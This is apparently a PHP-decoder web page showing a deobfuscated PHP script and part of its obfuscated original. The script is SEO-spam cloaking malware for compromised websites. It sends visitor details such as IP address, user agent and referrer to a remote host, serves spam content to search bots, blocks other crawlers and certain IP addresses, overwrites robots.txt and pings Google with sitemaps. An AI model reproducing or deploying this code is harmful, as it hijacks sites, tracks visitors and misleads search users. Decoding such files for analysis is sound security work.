Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto Qmp9O; Z9pgh: exit; goto F3YuT; QpeBn: header("\110\x54\124\120\57\61\56\60\40..

Decoded Output download

<?php 
goto Qmp9O; Z9pgh: exit; goto F3YuT; QpeBn: header("HTTP/1.0 500 Internal Server Error"); goto jurLK; YkdIX: if (strpos($lGDQU, "robots.txt") !== false || strpos($lGDQU, "writerobots") !== false) { goto f2hF1; } goto DUJ5f; EG0ZN: $YYW2D = 2719; goto xkBVf; Ji_bR: header("HTTP/1.1 404 Not Found"); goto efWRJ; K9cAz: exit; goto dDu_x; CMPQX: mU3hM: goto D3qjd; N3bXS: GFr08: goto vZH1O; FTgds: @file_put_contents("robots.txt", $jjk1J); goto K9cAz; WPIaA: t_yDa: goto Slp_2; YiNjZ: exit; goto CIya3; wRZHh: KU6Tk: goto c0aAA; bMNiu: IVvbC: goto cCWRu; vPpR3: $obUyh = "User-agent: *
Allow: /"; goto b2HWP; CTijq: $H_Dva = $rCkNw . "?agent={$mZXD7}&refer={$huFPs}&lang={$C2ol9}&ip={$BN51r}&dom={$Zku87}&http={$j3_zE}&uri={$lGDQU}&pc={$YYW2D}&rewriteable={$fugDW}&script={$PDXLe}&sitemap=" . urlencode($fD6AW); goto fxk32; YmEXt: echo $jjk1J; goto Y6nyy; DhxY_: goto NXyAe; goto CMPQX; H5Je5: VMrEe: goto flqsn; CCT0x: OER3G: goto zJFwo; TKgkp: function JYKFZ($WCvhj) { goto mhZHk; mhZHk: $DmTey = curl_init(); goto imjuB; aw6ls: curl_setopt($DmTey, CURLOPT_SSL_VERIFYPEER, FALSE); goto xd2aP; V430a: $qSFRK = @file_get_contents($WCvhj); goto T4WP8; aaeed: return $qSFRK; goto zZSLa; A4qjb: curl_setopt($DmTey, CURLOPT_RETURNTRANSFER, true); goto sFUHn; xyrbf: $qSFRK = curl_exec($DmTey); goto YeLvo; YeLvo: curl_close($DmTey); goto Qgi_A; Y89rP: curl_setopt($DmTey, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); goto HYyRe; xd2aP: curl_setopt($DmTey, CURLOPT_SSL_VERIFYHOST, FALSE); goto WnBch; imjuB: curl_setopt($DmTey, CURLOPT_URL, $WCvhj); goto A4qjb; T4WP8: iipcz: goto aaeed; sFUHn: curl_setopt($DmTey, CURLOPT_FOLLOWLOCATION, false); goto Y89rP; WnBch: ma5Ib: goto xyrbf; HYyRe: if (!(strpos($WCvhj, "https://") !== false)) { goto ma5Ib; } goto aw6ls; Qgi_A: if (!empty($qSFRK)) { goto iipcz; } goto V430a; zZSLa: } goto QoHVH; dC52i: lk7hP: goto hx6qA; CIya3: iY4IJ: goto wRZHh; l3V3r: $huFPs = urlencode($_SERVER["HTTP_REFERER"]); goto h6MU1; h7tvN: header("HTTP/1.0 500 Internal Server Error"); goto FD04q; b2HWP: $fD6AW = "{$j3_zE}://" . $Zku87 . $U3_49 . "sitemap.xml"; goto UM1Gu; bKTEK: $Zku87 = urlencode($_SERVER["HTTP_HOST"]); goto WQOw1; Ga1pz: goto JmRE8; goto bMNiu; s0dZs: echo $jjk1J; goto qfV5t; Hmj0h: if (strpos($U3_49, "index.php") !== false) { goto iGFW6; } goto Oz4eM; OhSLx: exit; goto yzk0j; RASp1: if (!($jjk1J == "500")) { goto eWeQH; } goto h7tvN; hk5NT: $H_Dva = $rCkNw . "?agent={$mZXD7}&refer={$huFPs}&lang={$C2ol9}&ip={$BN51r}&dom={$Zku87}&http={$j3_zE}&uri={$lGDQU}&pc={$YYW2D}&rewriteable={$fugDW}&script={$PDXLe}"; goto HO741; BR2Ru: goto QU0L1; goto D36zV; LigHA: exit; goto U3YyE; JzI0b: header("HTTP/1.0 500 Internal Server Error"); goto YiNjZ; dDu_x: uCmXe: goto mcqRM; Cy8nI: T7tgX: goto jRDKJ; OyrY8: $fugDW = @file_get_contents("uxo.txt"); goto cEE0h; jXZk_: echo "ok"; goto Z9pgh; LSCE2: goto l5Yt_; goto UDdbc; vouAF: F_7O5: goto KFFaM; dtfCe: $rCkNw = "http://cw54.russiandue.top/index.php"; goto EG0ZN; jmUlA: if (substr($jjk1J, 0, 5) == "<?xml") { goto oopmx; } goto BFuk6; Io_9b: if (empty($jjk1J)) { goto lk7hP; } goto RASp1; WGkHM: Tj0rz: goto QpeBn; AiUFY: aK6q2: goto aayC9; SDEsB: $U3_49 = $_SERVER["SCRIPT_NAME"]; goto Hmj0h; vTv7K: $jjk1J = mbzms($H_Dva); goto cd5sr; x5BJS: $lGDQU = urldecode($_SERVER["REQUEST_URI"]); goto G_y9T; mcqRM: goto bTyr6; goto gTJ5B; cCWRu: $H_Dva = $rCkNw . "?agent={$mZXD7}&refer={$huFPs}&lang={$C2ol9}&ip={$BN51r}&dom={$Zku87}&http={$j3_zE}&uri={$lGDQU}&pc={$YYW2D}&rewriteable={$fugDW}&script={$PDXLe}"; goto YFrFx; DUJ5f: if (preg_match("@^/(.*?).xml$@i", $lGDQU)) { goto GvfMQ; } goto tueB8; D3qjd: $_SERVER["REQUEST_SCHEME"] = "https"; goto L4tS8; Sa827: $H_Dva = $rCkNw . "?agent={$mZXD7}&refer={$huFPs}&lang={$C2ol9}&ip={$BN51r}&dom={$Zku87}&http={$j3_zE}&uri={$lGDQU}&pc={$YYW2D}&rewriteable={$fugDW}"; goto vTv7K; D36zV: dlQnq: goto Sa827; qxnUb: function MBZMs($WCvhj) { goto Q417B; LBmB3: if (!empty($qSFRK)) { goto t4ayZ; } goto o4f0W; GfabF: $qSFRK = curl_exec($DmTey); goto LNFNa; UeU5n: if (!(strpos($WCvhj, "https://") !== false)) { goto L2INQ; } goto NjuDf; EEtUw: L2INQ: goto GfabF; LNFNa: curl_close($DmTey); goto spU5g; NjuDf: curl_setopt($DmTey, CURLOPT_SSL_VERIFYPEER, FALSE); goto gNokl; gNokl: curl_setopt($DmTey, CURLOPT_SSL_VERIFYHOST, FALSE); goto EEtUw; ZcPW9: curl_setopt($DmTey, CURLOPT_RETURNTRANSFER, true); goto FjScJ; Q417B: $qSFRK = @file_get_contents($WCvhj); goto LBmB3; r8PWv: curl_setopt($DmTey, CURLOPT_URL, $WCvhj); goto ZcPW9; eKpFu: return $qSFRK; goto NM0oR; FjScJ: curl_setopt($DmTey, CURLOPT_FOLLOWLOCATION, false); goto UeU5n; spU5g: t4ayZ: goto eKpFu; o4f0W: $DmTey = curl_init(); goto r8PWv; NM0oR: } goto TKgkp; vNNT_: $boJpe = "https://www.google.com/ping?sitemap="; goto vPpR3; BFuk6: header("Content-Type: text/html; charset=utf-8"); goto R6tmt; g11hw: if (strpos($lGDQU, "jp2023") !== false) { goto xqckJ; } goto YkdIX; hx6qA: JmRE8: goto FTjS2; DY9dF: bTyr6: goto EZknu; lJvQ3: icv8B: goto SDEsB; cd5sr: if ($jjk1J == "500") { goto Tj0rz; } goto Z2rKM; ooE7_: header("HTTP/1.0 403 Forbidden"); goto Y5d48; tueB8: if (preg_match("/({$BQMlI})/i", $_SERVER["HTTP_USER_AGENT"])) { goto IVvbC; } goto SXJdC; efWRJ: echo $jjk1J; goto UPgTK; pbaBt: $j3_zE = urlencode($_SERVER["REQUEST_SCHEME"]); goto x5BJS; aayC9: iZ3ud: goto lexiN; QoHVH: if (!preg_match("/(Bytespider|PetalBot|AhrefsBot|Barkrowler|MJ12bot|FeedDemon|JikeSpider|Indy Library|AskTbFXTV|CrawlDaddy|CoolpadWebkit|Java|Feedly|UniversalFeedParser|ApacheBench|Swiftbot|ZmEu|oBot|jaunty|Python-urllib|python-requests|lightDeckReports Bot|YYSpider|DigExt|YisouSpider|HttpClient|heritrix|EasouSpider|Ezooms|AmazonBot|SEMrushBot|YandexBot|paloaltonetworks|Python)/i", $_SERVER["HTTP_USER_AGENT"])) { goto ctGH7; } goto H8Pq1; Slp_2: nLZpn: goto vNNT_; We4KT: $U3_49 = "/"; goto f2L94; EBfER: $H_Dva = $rCkNw . "?agent={$mZXD7}&refer={$huFPs}&lang={$C2ol9}&ip={$BN51r}&dom={$Zku87}&http={$j3_zE}&uri={$lGDQU}&pc={$YYW2D}&rewriteable={$fugDW}&script={$PDXLe}"; goto z3zcW; F3YuT: l9Zng: goto oM6ZH; f2L94: goto t_yDa; goto u6UVE; xspkm: echo $jjk1J = mBzms($H_Dva); goto FTgds; FTjS2: goto KU6Tk; goto jDvRX; zDrno: if (!empty($_SERVER["REQUEST_SCHEME"]) && $_SERVER["REQUEST_SCHEME"] == "https" || !empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on" || !empty($_SERVER["SERVER_PORT"]) && $_SERVER["SERVER_PORT"] == "443" || isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] == "https") { goto mU3hM; } goto FqMQy; uEPlf: iGFW6: goto ltUii; Oz4eM: $U3_49 = $U3_49 . "?"; goto KpojP; KFFaM: $fugDW = 0; goto LkIN3; jurLK: exit; goto CCT0x; fxk32: $jjk1J = Mbzms($H_Dva); goto lIz7r; gH032: $X0dKg = ''; goto SQX3p; HO741: $jjk1J = mBZms($H_Dva); goto HJ48d; Y5d48: exit; goto vouAF; WgAtx: ai90F: goto JzI0b; rr8jP: echo $fD6AW . ": " . $X0dKg . "<br/>"; goto GqeXt; iOy20: $jjk1J = MbzmS($XeguF); goto iFnSA; nsQx5: eWeQH: goto jmUlA; z3zcW: $jjk1J = mbZMs($H_Dva); goto s0dZs; vZH1O: $XeguF = $j3_zE . "://" . $_SERVER["HTTP_HOST"] . "/uuuuxxxxooo"; goto iOy20; aStGK: $U3_49 = "/?"; goto WPIaA; d9Klz: header("Content-Type: text/xml; charset=utf-8"); goto avjJp; mUgYQ: $c6Kt6 = P00se(); goto asWCZ; Y9Sd1: @file_put_contents("uxo.txt", "1"); goto vCT9x; YFrFx: $jjk1J = MBZms($H_Dva); goto Io_9b; ALTut: goto iY4IJ; goto WgAtx; R6tmt: goto q600c; goto EWCg1; UDdbc: juLWo: goto vpdy3; dyZ6A: $X0dKg = $o5dto[1]; goto YptAw; W1OuW: @file_put_contents("uxo.txt", "0"); goto LSCE2; EZknu: goto iZ3ud; goto AiUFY; SXJdC: if (preg_match("/({$BQMlI})/i", $_SERVER["HTTP_REFERER"])) { goto dlQnq; } goto BR2Ru; Qmp9O: error_reporting(0); goto XBs4z; xkBVf: $mZXD7 = urlencode($_SERVER["HTTP_USER_AGENT"]); goto l3V3r; H8Pq1: header("HTTP/1.0 403 Forbidden"); goto LigHA; R3TNJ: header("Content-Type: text/xml; charset=utf-8"); goto uszuV; gTJ5B: xqckJ: goto EBfER; flqsn: goto OER3G; goto WGkHM; FqMQy: $_SERVER["REQUEST_SCHEME"] = "http"; goto DhxY_; wQbiE: exit; goto ALTut; c0aAA: goto uCmXe; goto PwGWa; uo9Iy: $jjk1J = JYkfz($boJpe . urlencode($fD6AW)); goto gH032; ltUii: if ($fugDW == 0) { goto uWQQu; } goto We4KT; KpojP: goto nLZpn; goto uEPlf; EWCg1: oopmx: goto R3TNJ; IMZKM: $BQMlI = "bing|google|yahoo"; goto dtfCe; asWCZ: $BN51r = urlencode($c6Kt6); goto bKTEK; qfV5t: exit; goto DY9dF; G_y9T: if (!(strpos($lGDQU, "uuuuxxxxooo") !== false)) { goto l9Zng; } goto jXZk_; Y6nyy: exit; goto dC52i; Y_zDK: $H_Dva = $rCkNw . "?agent={$mZXD7}&refer={$huFPs}&lang={$C2ol9}&ip={$BN51r}&dom={$Zku87}&http={$j3_zE}&uri={$lGDQU}&pc={$YYW2D}&rewriteable={$fugDW}&script={$PDXLe}"; goto y9Spz; lexiN: goto au_qL; goto lJvQ3; XBs4z: function p00Se() { goto dc3OC; y0Ydr: $BN51r = getenv("HTTP_CLIENT_IP"); goto iKBHn; gTdMi: $BN51r = "0.0.0.0"; goto z9O1n; eEUT1: $BN51r = getenv("HTTP_X_FORWARDED_FOR"); goto Jvt4s; oswpP: GIGnO: goto dJf0Q; Uighz: goto TXXQ9; goto oQg3W; dJf0Q: $BN51r = getenv("REMOTE_ADDR"); goto tYiE6; tYiE6: TXXQ9: goto ZVG6n; ZVG6n: return $BN51r; goto FmNtI; dRGA0: if (getenv("HTTP_X_FORWARDED_FOR")) { goto hVDFg; } goto GHJoq; Jvt4s: $sJjHJ = explode(",", $BN51r); goto PMiuJ; PMiuJ: $BN51r = $sJjHJ[0]; goto Lqm6j; dc3OC: if (!getenv("HTTP_CLIENT_IP")) { goto IoDZ3; } goto y0Ydr; iKBHn: IoDZ3: goto vNqC3; Lqm6j: goto TXXQ9; goto oswpP; z9O1n: goto TXXQ9; goto n3LVK; L0Bg0: $BN51r = getenv("HTTP_X_REAL_IP"); goto Uighz; GHJoq: if (getenv("REMOTE_ADDR")) { goto GIGnO; } goto gTdMi; n3LVK: pnnmJ: goto L0Bg0; vNqC3: if (getenv("HTTP_X_REAL_IP")) { goto pnnmJ; } goto dRGA0; oQg3W: hVDFg: goto eEUT1; FmNtI: } goto qxnUb; U3YyE: ctGH7: goto IMZKM; iFnSA: if ($jjk1J == "ok") { goto juLWo; } goto xD0k9; avjJp: echo $jjk1J; goto wQbiE; vCT9x: l5Yt_: goto Cy8nI; oM6ZH: if (!($c6Kt6 == "153.246.135.238" || $c6Kt6 == "219.101.44.233")) { goto F_7O5; } goto ooE7_; HJ48d: if ($jjk1J == "500") { goto ai90F; } goto d9Klz; FD04q: exit; goto nsQx5; vpdy3: $fugDW = 1; goto Y9Sd1; L4tS8: NXyAe: goto pbaBt; LkIN3: if (!file_exists("uxo.txt")) { goto GFr08; } goto OyrY8; UM1Gu: $obUyh = trim($obUyh) . "
\xa" . "Sitemap: {$fD6AW}"; goto uo9Iy; WQOw1: $PDXLe = urlencode($_SERVER["SCRIPT_NAME"]); goto zDrno; Z2rKM: if (empty($jjk1J)) { goto VMrEe; } goto Ji_bR; jRDKJ: if (strpos($lGDQU, "pingsitemap.xml") !== false) { goto icv8B; } goto Kt5EJ; YptAw: HNluP: goto rr8jP; PwGWa: f2hF1: goto Y_zDK; u6UVE: uWQQu: goto aStGK; h6MU1: $C2ol9 = urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]); goto mUgYQ; Kt5EJ: if (strpos($lGDQU, "favicon.ico") !== false) { goto aK6q2; } goto g11hw; GqeXt: usleep(100 * 1000); goto CTijq; xD0k9: $fugDW = 0; goto W1OuW; cEE0h: goto T7tgX; goto N3bXS; UPgTK: exit; goto H5Je5; uszuV: q600c: goto YmEXt; jDvRX: GvfMQ: goto hk5NT; SQX3p: if (!preg_match("/<h2>(.+?)<\/h2>/i", $jjk1J, $o5dto)) { goto HNluP; } goto dyZ6A; lIz7r: @file_put_contents("robots.txt", $obUyh); goto OhSLx; y9Spz: header("Content-Type: text/plain; charset=utf-8"); goto xspkm; zJFwo: QU0L1: goto Ga1pz; yzk0j: au_qL: 
?>

Did this file decode correctly?

Original Code

<?php
goto Qmp9O; Z9pgh: exit; goto F3YuT; QpeBn: header("\110\x54\124\120\57\61\56\60\40\x35\60\60\x20\111\156\x74\145\162\x6e\x61\154\x20\123\145\x72\166\145\x72\x20\x45\162\x72\x6f\162"); goto jurLK; YkdIX: if (strpos($lGDQU, "\162\157\142\x6f\164\163\x2e\164\170\164") !== false || strpos($lGDQU, "\167\162\151\164\x65\162\x6f\x62\157\164\163") !== false) { goto f2hF1; } goto DUJ5f; EG0ZN: $YYW2D = 2719; goto xkBVf; Ji_bR: header("\x48\x54\124\120\57\x31\56\x31\40\64\x30\64\40\x4e\157\x74\40\x46\157\x75\x6e\144"); goto efWRJ; K9cAz: exit; goto dDu_x; CMPQX: mU3hM: goto D3qjd; N3bXS: GFr08: goto vZH1O; FTgds: @file_put_contents("\x72\157\142\x6f\x74\163\x2e\164\x78\x74", $jjk1J); goto K9cAz; WPIaA: t_yDa: goto Slp_2; YiNjZ: exit; goto CIya3; wRZHh: KU6Tk: goto c0aAA; bMNiu: IVvbC: goto cCWRu; vPpR3: $obUyh = "\x55\x73\145\x72\55\x61\x67\145\x6e\x74\x3a\40\52\15\12\101\x6c\154\157\167\x3a\x20\x2f"; goto b2HWP; CTijq: $H_Dva = $rCkNw . "\77\141\x67\x65\x6e\x74\x3d{$mZXD7}\x26\x72\145\x66\x65\162\x3d{$huFPs}\x26\x6c\141\x6e\147\x3d{$C2ol9}\x26\151\x70\75{$BN51r}\46\144\x6f\155\x3d{$Zku87}\46\150\x74\164\x70\75{$j3_zE}\46\x75\162\x69\x3d{$lGDQU}\46\160\x63\75{$YYW2D}\x26\162\145\167\x72\151\x74\x65\141\142\154\145\75{$fugDW}\x26\163\143\x72\x69\160\x74\75{$PDXLe}\46\x73\x69\x74\145\155\x61\x70\x3d" . urlencode($fD6AW); goto fxk32; YmEXt: echo $jjk1J; goto Y6nyy; DhxY_: goto NXyAe; goto CMPQX; H5Je5: VMrEe: goto flqsn; CCT0x: OER3G: goto zJFwo; TKgkp: function JYKFZ($WCvhj) { goto mhZHk; mhZHk: $DmTey = curl_init(); goto imjuB; aw6ls: curl_setopt($DmTey, CURLOPT_SSL_VERIFYPEER, FALSE); goto xd2aP; V430a: $qSFRK = @file_get_contents($WCvhj); goto T4WP8; aaeed: return $qSFRK; goto zZSLa; A4qjb: curl_setopt($DmTey, CURLOPT_RETURNTRANSFER, true); goto sFUHn; xyrbf: $qSFRK = curl_exec($DmTey); goto YeLvo; YeLvo: curl_close($DmTey); goto Qgi_A; Y89rP: curl_setopt($DmTey, CURLOPT_USERAGENT, $_SERVER["\x48\x54\x54\x50\137\125\x53\x45\122\x5f\x41\107\x45\116\124"]); goto HYyRe; xd2aP: curl_setopt($DmTey, CURLOPT_SSL_VERIFYHOST, FALSE); goto WnBch; imjuB: curl_setopt($DmTey, CURLOPT_URL, $WCvhj); goto A4qjb; T4WP8: iipcz: goto aaeed; sFUHn: curl_setopt($DmTey, CURLOPT_FOLLOWLOCATION, false); goto Y89rP; WnBch: ma5Ib: goto xyrbf; HYyRe: if (!(strpos($WCvhj, "\x68\x74\164\160\x73\x3a\x2f\x2f") !== false)) { goto ma5Ib; } goto aw6ls; Qgi_A: if (!empty($qSFRK)) { goto iipcz; } goto V430a; zZSLa: } goto QoHVH; dC52i: lk7hP: goto hx6qA; CIya3: iY4IJ: goto wRZHh; l3V3r: $huFPs = urlencode($_SERVER["\x48\x54\x54\120\137\122\x45\x46\105\x52\x45\122"]); goto h6MU1; h7tvN: header("\110\124\124\x50\x2f\x31\x2e\60\40\x35\60\60\x20\111\156\164\145\x72\156\x61\x6c\x20\123\x65\162\x76\x65\162\x20\105\162\162\x6f\x72"); goto FD04q; b2HWP: $fD6AW = "{$j3_zE}\72\x2f\x2f" . $Zku87 . $U3_49 . "\163\x69\164\x65\x6d\x61\160\x2e\170\x6d\x6c"; goto UM1Gu; bKTEK: $Zku87 = urlencode($_SERVER["\x48\124\124\x50\137\x48\117\123\x54"]); goto WQOw1; Ga1pz: goto JmRE8; goto bMNiu; s0dZs: echo $jjk1J; goto qfV5t; Hmj0h: if (strpos($U3_49, "\x69\x6e\x64\145\x78\x2e\x70\150\160") !== false) { goto iGFW6; } goto Oz4eM; OhSLx: exit; goto yzk0j; RASp1: if (!($jjk1J == "\x35\x30\x30")) { goto eWeQH; } goto h7tvN; hk5NT: $H_Dva = $rCkNw . "\x3f\141\x67\x65\x6e\164\75{$mZXD7}\x26\162\145\146\145\162\75{$huFPs}\x26\154\x61\156\147\x3d{$C2ol9}\x26\x69\160\75{$BN51r}\46\x64\x6f\155\x3d{$Zku87}\46\150\x74\164\160\75{$j3_zE}\46\165\162\x69\x3d{$lGDQU}\x26\160\x63\75{$YYW2D}\46\162\145\167\x72\151\x74\145\141\142\x6c\145\75{$fugDW}\46\x73\x63\x72\151\160\x74\75{$PDXLe}"; goto HO741; BR2Ru: goto QU0L1; goto D36zV; LigHA: exit; goto U3YyE; JzI0b: header("\x48\124\x54\120\x2f\x31\x2e\60\40\x35\x30\60\x20\x49\156\x74\x65\x72\x6e\x61\154\x20\123\145\162\x76\145\162\40\105\162\x72\x6f\x72"); goto YiNjZ; dDu_x: uCmXe: goto mcqRM; Cy8nI: T7tgX: goto jRDKJ; OyrY8: $fugDW = @file_get_contents("\x75\x78\x6f\x2e\x74\x78\x74"); goto cEE0h; jXZk_: echo "\x6f\x6b"; goto Z9pgh; LSCE2: goto l5Yt_; goto UDdbc; vouAF: F_7O5: goto KFFaM; dtfCe: $rCkNw = "\x68\164\164\160\x3a\57\57\143\167\x35\x34\56\162\x75\x73\x73\x69\x61\156\144\165\x65\56\x74\157\160\57\151\x6e\144\x65\x78\x2e\160\x68\x70"; goto EG0ZN; jmUlA: if (substr($jjk1J, 0, 5) == "\x3c\77\x78\x6d\154") { goto oopmx; } goto BFuk6; Io_9b: if (empty($jjk1J)) { goto lk7hP; } goto RASp1; WGkHM: Tj0rz: goto QpeBn; AiUFY: aK6q2: goto aayC9; SDEsB: $U3_49 = $_SERVER["\123\x43\x52\x49\x50\x54\137\116\101\115\x45"]; goto Hmj0h; vTv7K: $jjk1J = mbzms($H_Dva); goto cd5sr; x5BJS: $lGDQU = urldecode($_SERVER["\x52\105\121\x55\x45\123\124\137\x55\x52\x49"]); goto G_y9T; mcqRM: goto bTyr6; goto gTJ5B; cCWRu: $H_Dva = $rCkNw . "\77\x61\147\145\x6e\x74\x3d{$mZXD7}\46\x72\x65\x66\x65\x72\75{$huFPs}\x26\154\x61\x6e\147\75{$C2ol9}\x26\x69\160\75{$BN51r}\x26\144\157\155\75{$Zku87}\x26\150\x74\164\x70\x3d{$j3_zE}\46\165\x72\x69\75{$lGDQU}\46\x70\143\75{$YYW2D}\46\x72\x65\167\x72\151\x74\145\141\x62\154\x65\75{$fugDW}\x26\163\x63\x72\151\x70\x74\75{$PDXLe}"; goto YFrFx; DUJ5f: if (preg_match("\x40\x5e\57\x28\56\52\77\51\x2e\x78\x6d\x6c\x24\100\151", $lGDQU)) { goto GvfMQ; } goto tueB8; D3qjd: $_SERVER["\122\105\121\x55\105\123\124\x5f\x53\x43\110\105\x4d\105"] = "\x68\164\x74\x70\163"; goto L4tS8; Sa827: $H_Dva = $rCkNw . "\x3f\x61\x67\145\156\x74\75{$mZXD7}\46\x72\x65\146\x65\x72\x3d{$huFPs}\46\154\x61\x6e\147\75{$C2ol9}\x26\151\160\75{$BN51r}\x26\144\x6f\155\x3d{$Zku87}\46\x68\164\164\x70\75{$j3_zE}\x26\x75\162\151\75{$lGDQU}\x26\x70\143\75{$YYW2D}\x26\162\145\167\162\151\x74\x65\141\x62\154\x65\x3d{$fugDW}"; goto vTv7K; D36zV: dlQnq: goto Sa827; qxnUb: function MBZMs($WCvhj) { goto Q417B; LBmB3: if (!empty($qSFRK)) { goto t4ayZ; } goto o4f0W; GfabF: $qSFRK = curl_exec($DmTey); goto LNFNa; UeU5n: if (!(strpos($WCvhj, "\150\x74\x74\x70\163\72\x2f\x2f") !== false)) { goto L2INQ; } goto NjuDf; EEtUw: L2INQ: goto GfabF; LNFNa: curl_close($DmTey); goto spU5g; NjuDf: curl_setopt($DmTey, CURLOPT_SSL_VERIFYPEER, FALSE); goto gNokl; gNokl: curl_setopt($DmTey, CURLOPT_SSL_VERIFYHOST, FALSE); goto EEtUw; ZcPW9: curl_setopt($DmTey, CURLOPT_RETURNTRANSFER, true); goto FjScJ; Q417B: $qSFRK = @file_get_contents($WCvhj); goto LBmB3; r8PWv: curl_setopt($DmTey, CURLOPT_URL, $WCvhj); goto ZcPW9; eKpFu: return $qSFRK; goto NM0oR; FjScJ: curl_setopt($DmTey, CURLOPT_FOLLOWLOCATION, false); goto UeU5n; spU5g: t4ayZ: goto eKpFu; o4f0W: $DmTey = curl_init(); goto r8PWv; NM0oR: } goto TKgkp; vNNT_: $boJpe = "\150\164\164\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\147\x6f\x6f\147\x6c\145\56\143\157\155\57\160\151\x6e\147\77\x73\x69\x74\x65\x6d\x61\160\75"; goto vPpR3; BFuk6: header("\103\157\156\x74\145\156\x74\55\124\171\x70\x65\x3a\40\164\145\170\x74\57\150\x74\x6d\x6c\73\x20\x63\x68\x61\162\163\x65\x74\x3d\165\x74\x66\55\x38"); goto R6tmt; g11hw: if (strpos($lGDQU, "\152\160\62\60\62\63") !== false) { goto xqckJ; } goto YkdIX; hx6qA: JmRE8: goto FTjS2; DY9dF: bTyr6: goto EZknu; lJvQ3: icv8B: goto SDEsB; cd5sr: if ($jjk1J == "\x35\x30\60") { goto Tj0rz; } goto Z2rKM; ooE7_: header("\110\x54\124\x50\57\61\x2e\x30\40\64\60\63\40\x46\x6f\162\x62\x69\x64\x64\145\156"); goto Y5d48; tueB8: if (preg_match("\x2f\50{$BQMlI}\51\x2f\151", $_SERVER["\110\x54\x54\x50\x5f\x55\x53\x45\122\x5f\x41\107\x45\116\124"])) { goto IVvbC; } goto SXJdC; efWRJ: echo $jjk1J; goto UPgTK; pbaBt: $j3_zE = urlencode($_SERVER["\x52\x45\x51\x55\105\123\124\x5f\123\103\110\105\x4d\x45"]); goto x5BJS; aayC9: iZ3ud: goto lexiN; QoHVH: if (!preg_match("\57\x28\102\171\x74\145\163\160\x69\x64\145\162\174\120\x65\x74\x61\x6c\x42\157\164\174\x41\150\x72\145\146\x73\102\x6f\x74\174\102\x61\162\153\162\157\x77\x6c\145\162\174\115\112\61\62\142\x6f\x74\x7c\106\x65\x65\144\x44\145\155\157\156\x7c\112\x69\153\x65\x53\x70\151\x64\145\162\174\111\156\144\x79\40\114\151\x62\x72\x61\x72\x79\x7c\101\x73\x6b\x54\142\106\x58\x54\x56\x7c\x43\162\x61\167\x6c\104\x61\x64\144\x79\x7c\103\157\x6f\154\160\141\x64\x57\x65\142\x6b\151\x74\174\112\141\166\x61\174\106\145\145\144\154\171\x7c\x55\156\151\166\x65\162\163\x61\154\106\x65\145\144\x50\141\x72\163\145\x72\x7c\101\x70\141\x63\150\145\102\x65\x6e\x63\150\x7c\123\x77\151\146\164\x62\157\x74\174\132\x6d\105\165\x7c\x6f\x42\157\164\174\152\x61\x75\x6e\x74\x79\174\x50\x79\x74\x68\x6f\156\x2d\x75\162\154\x6c\x69\x62\174\160\x79\164\x68\x6f\x6e\x2d\x72\x65\161\165\x65\163\x74\163\174\x6c\x69\147\x68\x74\x44\145\x63\x6b\x52\x65\x70\x6f\162\164\x73\x20\102\x6f\x74\x7c\x59\131\x53\x70\151\x64\145\162\174\x44\x69\147\105\170\164\174\x59\151\x73\x6f\165\123\x70\151\x64\x65\x72\x7c\x48\x74\164\x70\x43\x6c\x69\x65\156\164\x7c\150\x65\162\151\164\162\151\x78\x7c\105\141\x73\157\x75\x53\x70\151\144\145\162\x7c\x45\x7a\157\x6f\x6d\163\x7c\101\x6d\141\x7a\157\156\x42\157\x74\174\x53\x45\x4d\x72\x75\x73\x68\102\x6f\164\174\131\141\x6e\x64\145\170\102\x6f\164\x7c\160\141\154\x6f\141\x6c\164\157\x6e\145\x74\167\157\162\x6b\x73\x7c\120\x79\x74\x68\157\156\x29\57\151", $_SERVER["\110\124\124\x50\x5f\125\123\105\122\x5f\x41\x47\x45\116\124"])) { goto ctGH7; } goto H8Pq1; Slp_2: nLZpn: goto vNNT_; We4KT: $U3_49 = "\57"; goto f2L94; EBfER: $H_Dva = $rCkNw . "\77\x61\147\x65\156\164\x3d{$mZXD7}\x26\162\145\x66\x65\x72\x3d{$huFPs}\46\154\x61\x6e\x67\x3d{$C2ol9}\x26\151\160\75{$BN51r}\46\x64\x6f\155\75{$Zku87}\46\150\x74\164\x70\x3d{$j3_zE}\46\x75\x72\x69\x3d{$lGDQU}\46\160\143\x3d{$YYW2D}\x26\x72\145\167\162\151\164\x65\141\x62\x6c\x65\75{$fugDW}\46\x73\143\162\x69\160\164\x3d{$PDXLe}"; goto z3zcW; F3YuT: l9Zng: goto oM6ZH; f2L94: goto t_yDa; goto u6UVE; xspkm: echo $jjk1J = mBzms($H_Dva); goto FTgds; FTjS2: goto KU6Tk; goto jDvRX; zDrno: if (!empty($_SERVER["\x52\105\121\125\105\123\124\x5f\123\103\x48\105\x4d\105"]) && $_SERVER["\122\105\x51\x55\x45\123\x54\137\x53\103\x48\105\x4d\105"] == "\x68\164\x74\x70\163" || !empty($_SERVER["\x48\x54\124\120\123"]) && $_SERVER["\x48\x54\124\120\123"] == "\157\156" || !empty($_SERVER["\x53\x45\x52\126\105\122\x5f\x50\x4f\x52\124"]) && $_SERVER["\123\105\122\x56\105\x52\x5f\120\117\x52\124"] == "\x34\64\x33" || isset($_SERVER["\110\x54\124\x50\137\130\x5f\x46\x4f\122\x57\101\x52\104\x45\x44\x5f\x50\122\x4f\x54\117"]) && $_SERVER["\x48\x54\x54\120\137\x58\x5f\106\117\122\x57\x41\122\x44\x45\104\137\x50\122\117\x54\117"] == "\150\164\x74\160\x73") { goto mU3hM; } goto FqMQy; uEPlf: iGFW6: goto ltUii; Oz4eM: $U3_49 = $U3_49 . "\x3f"; goto KpojP; KFFaM: $fugDW = 0; goto LkIN3; jurLK: exit; goto CCT0x; fxk32: $jjk1J = Mbzms($H_Dva); goto lIz7r; gH032: $X0dKg = ''; goto SQX3p; HO741: $jjk1J = mBZms($H_Dva); goto HJ48d; Y5d48: exit; goto vouAF; WgAtx: ai90F: goto JzI0b; rr8jP: echo $fD6AW . "\72\40" . $X0dKg . "\74\x62\162\x2f\x3e"; goto GqeXt; iOy20: $jjk1J = MbzmS($XeguF); goto iFnSA; nsQx5: eWeQH: goto jmUlA; z3zcW: $jjk1J = mbZMs($H_Dva); goto s0dZs; vZH1O: $XeguF = $j3_zE . 